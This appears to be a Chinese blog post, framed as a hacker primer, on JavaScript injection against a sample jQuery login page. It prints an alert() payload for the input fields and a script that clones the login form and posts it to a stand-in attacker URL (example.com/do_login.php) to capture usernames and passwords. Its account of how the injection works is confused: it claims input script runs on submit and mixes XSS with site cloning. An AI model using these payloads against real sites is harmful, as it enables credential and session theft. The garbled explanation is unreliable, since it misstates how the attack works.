js注入黑客之路必备！

2023年5月19日下午6:07 • JavaScript

JS注入是Web安全领域中非常重要的一个议题，也是Web攻击中常用的一种手段。攻击者可以通过JS注入攻击网站或用户，包括窃取用户信息、篡改网页内容、控制用户会话等。

以下是一个简单的JS注入攻击示例：

攻击目标
我们以一个简单的登录页面（login.html）为目标页面，该页面通过使用jQuery库将用户名和密码传递给后台验证，并在验证失败时显示错误提示。页面的HTML代码如下：

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Login Page</title>
    <script src="https://code.jquery.com/jquery-3.5.1.min.js"
            integrity="sha384-ZvpUoO/+PpLXR1lu4jmpXWu80pZlYUAfxl5NsBMWOEPSjUn/6Z/hRTt8+pR6L4N2"
            crossorigin="anonymous"></script>
    <script src="login.js"></script>
</head>
<body>
<h1>Login Page</h1>
<form id="login-form">
    <label for="username">Username:</label>
    <input type="text" name="username" id="username">
    <br>
    <label for="password">Password:</label>
    <input type="password" name="password" id="password">
    <br>
    <button type="submit">Login</button>
</form>
<div id="error"></div>
</body>
</html>

攻击过程
攻击者通过在用户名或密码输入框中注入JS代码，使得提交表单时，该JS代码被执行并执行相应的操作。例如，攻击者可以输入以下JS代码：

<script>alert('you have been hacked!');</script>

此时，当用户提交表单时，会出现一个弹窗，提示用户已经被黑客攻击。

攻击者还可以进一步深入，通过在JS代码中访问Cookie或当前用户会话，窃取用户敏感信息。

以在目标页面上展示一个钓鱼网站为例，攻击者可以将目标网站的CSS文件和页面结构复制到自己的服务器，并在复制的页面中注入JS代码，下面是示例代码：

<script>
    var url = "http://example.com/do_login.php";
    var form = $("#login-form").clone();
    form.attr("action", url);
    form.attr("method", "post");
    $("body").append(form);
    form.submit();
</script>

该代码会将提交的表单数据发送到攻击者自己的服务器上，从而获取用户的用户名和密码信息。